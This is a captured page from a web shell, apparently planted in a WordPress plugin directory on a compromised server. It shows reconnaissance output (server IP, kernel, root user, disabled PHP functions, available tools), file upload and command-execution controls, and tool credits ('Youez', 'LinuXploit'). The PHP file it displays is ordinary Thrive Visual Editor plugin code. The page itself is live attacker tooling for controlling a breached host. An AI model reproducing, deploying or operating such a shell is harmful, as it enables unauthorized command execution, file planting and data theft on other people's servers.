403Webshell
Server IP : 65.109.86.83  /  Your IP : 216.73.216.241
Web Server : nginx/1.14.1
System : Linux libra 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 20:24:04 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/thrive-visual-editor/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/thrive-visual-editor/inc/backwards.php
<?php
/**
 * Thrive Themes - https://thrivethemes.com
 *
 * @package thrive-visual-editor
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Silence is golden!
}

/**
 * Search symbols, lightboxes and ct if they have a specific string in their architect content
 */
add_filter( 'tcb_architect_content_has_string', static function ( $has_string, $string, $post_id ) {

	$architect_content = tve_get_post_meta( $post_id, 'tve_updated_post' );

	if ( ! empty( $architect_content ) ) {
		$has_string = $has_string || ( strpos( $architect_content, $string ) !== false );
	}

	if ( ! $has_string ) {
		$posts = get_posts( [
			'posts_per_page' => 1,
			'post_type'      => [ TCB_Symbols_Post_Type::SYMBOL_POST_TYPE, 'tcb_lightbox', TCB_CT_POST_TYPE ],
			'meta_query'     => [
				[
					'key'     => 'tve_updated_post',
					'value'   => $string,
					'compare' => 'LIKE',
				],
			],
		] );

		if ( ! empty( $posts ) ) {
			$has_string = true;
		}
	}

	return $has_string;
}, 10, 3 );

Youez - 2016 - github.com/yon3zu
LinuXploit